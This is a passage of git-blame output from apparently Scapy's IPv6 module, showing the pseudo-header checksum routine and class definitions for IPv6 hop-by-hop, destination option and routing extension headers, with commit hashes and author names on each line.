628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'nh' : value of upper layer protocol
6300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'u'  : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
6310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             provided with all under layers (IPv6 and all extension headers,
632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             for example)
633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - 'p'  : the payload of the upper layer provided as a string
634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Functions operate by filling a pseudo header class instance (PseudoIPv6)
636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    with
637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - Next Header value
638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the address of _final_ destination (if some Routing Header with non
639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    segleft field is present in underlayer classes, last address is used.)
6400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - the address of _real_ source (basically the source address of an
641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    IPv6 class instance available in the underlayer or the source address
642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    in HAO option if some Destination Option header found in underlayer
643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    includes this option).
644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the length is the length of provided payload string ('p')
645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6 = PseudoIPv6()
648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.nh = nh
649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    rthdr = 0
650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    hahdr = 0
651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    final_dest_addr_found = 0
652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while u != None and not isinstance(u, IPv6):
65377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(u, IPv6ExtHdrRouting) and
65477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            u.segleft != 0 and len(u.addresses) != 0 and
655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found == 0):
65677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            rthdr = u.addresses[-1]
657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found = 1
65877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             isinstance(u.options[0], HAO)):
660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             hahdr  = u.options[0].hoa
66177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        u = u.underlayer
6620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if u is None:
66377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        warning("No IPv6 underlayer to compute checksum. Leaving null.")
66477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
6650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if hahdr:
66677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.src = hahdr
667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ph6.src = u.src
669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if rthdr:
67077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = rthdr
671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
67277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = u.dst
673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.uplen = len(p)
674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6s = str(ph6)
675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return checksum(ph6s+p)
676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                         Extension Headers                             ###
681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Inherited by all extension header classes
686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6ExtHdr(_IPv6GuessPayload, Packet):
687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Abstract IPV6 Option Header'
688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    aliastypes = [IPv6, IPerror6] # TODO ...
689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#################### IPv6 options for Extension Headers #####################
692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhopts = { 0x00: "Pad1",
694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x01: "PadN",
695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x04: "Tunnel Encapsulation Limit",
696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x05: "Router Alert",
697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x06: "Quick-Start",
698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc2: "Jumbo Payload",
699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc9: "Home Address Option" }
700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _OTypeField(ByteEnumField):
7020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """
703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Modified BytEnumField that displays information regarding the IPv6 option
704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    based on its option type value (What should be done by nodes that process
705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    the option if they do not understand it ...)
706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pol = {0x00: "00: skip",
710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x40: "01: discard",
711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x80: "10: discard+ICMP",
712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0xC0: "11: discard+ICMP not mcast"}
7130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    enroutechange = {0x00: "0: Don't change en-route",
715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 0x20: "1: May change en-route" }
716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = self.i2s.get(x, repr(x))
719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        polstr = self.pol[(x & 0xC0)]
720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        enroutechangestr = self.enroutechange[(x & 0x20)]
721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s [%s, %s]" % (s, polstr, enroutechangestr)
722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 Unknown Option"
7250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
7280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                               length_from = lambda pkt: pkt.optlen) ]
729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # By default, no alignment requirement
730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
7310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        As specified in section 4.2 of RFC 2460, every options has
7320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        an alignment requirement ususally expressed xn+y, meaning
7330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        the Option Type must appear at an integer multiple of x octest
734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from the start of the header, plus y octet.
7350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        That function is provided the current position from the
737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        start of the header and returns required padding length.
738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Pad1(Packet): # IPv6 Hop-By-Hop Option
742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pad1"
743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ]
744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PadN(Packet): # IPv6 Hop-By-Hop Option
7480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "PadN"
749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                               length_from = lambda pkt: pkt.optlen)]
753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Router Alert"
758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
759f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ByteField("optlen", 2),
760f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ShortEnumField("value", None,
761f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                  { 0: "Datagram contains a MLD message",
762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                    1: "Datagram contains RSVP message",
763f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                    2: "Datagram contains an Active Network message",
764f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   68: "NSIS NATFW NSLP",
765f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   69: "MPLS OAM",
766f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                65535: "Reserved" })]
767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # TODO : Check IANA has not defined new values for value field of RouterAlertOption
768f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : Now that we have that option, we should do something in MLD class that need it
769f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : IANA has defined ranges of values which can't be easily represented here.
770f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 2n+0
772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 2 ; y = 0
7730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Jumbo(Packet): # IPv6 Hop-By-Hop Option
7770d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "Jumbo Payload"
778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 4),
780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IntField("jumboplen", None) ]
781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 4n+2
782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 4 ; y = 2
7830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HAO(Packet): # IPv6 Destination Options Header Option
787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Home Address Option"
788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 16),
790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IP6Field("hoa", "::") ]
791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 8n+6
792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 8 ; y = 6
7930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhoptcls = { 0x00: Pad1,
797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x01: PadN,
798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x05: RouterAlert,
799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC2: Jumbo,
800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC9: HAO }
801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Hop-by-Hop Extension Header ########################
804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _HopByHopOptionsField(PacketListField):
806b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
8100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(self.i2m(pkt, i))
813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return l
814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if type(i) is list:
817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
8260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ret = ""
829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = s
830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x,ret = s[:l],s[l:]
832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            o = ord(x[0]) # Option type
838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if _hbhoptcls.has_key(o):
840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = _hbhoptcls[o]
841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
8467b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = ""
851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x+ret,opt
852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
8590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "".join(map(str, x))
862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = ""
865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s += str(Pad1())
870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
8712a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                s += str(PadN(optdata=b'\x00'*(d-2)))
872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pstr = str(p)
873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
8750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += str(Pad1())
884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
8852a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            s += str(PadN(optdata=b'\x00'*(d-2)))
886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _PhantomAutoPadField(ByteField):
893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s, 1
898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x:
901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "On"
902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "Off"
903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrHopByHop(_IPv6ExtHdr):
906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Hop-by-Hop Options Header"
907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
9090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                                  adjust = lambda pkt,x: (x+2+7)/8 - 1),
910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
91177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 0 }}
914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Destination Option Header ##########################
917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrDestOpt(_IPv6ExtHdr):
919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Destination Options Header"
920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
9220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                                  adjust = lambda pkt,x: (x+2+7)/8 - 1),
923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
92477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 60 }}
927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################# Routing Header ################################
930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6ExtHdrRouting(_IPv6ExtHdr):
932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Option Header Routing"
933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addresses", fmt="B",
935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x:2*x), # in 8 bytes blocks
936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("type", 0),
937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("segleft", None),
938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("reserved", 0, 32), # There is meaning in this field ...
93977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IP6ListField("addresses", [],
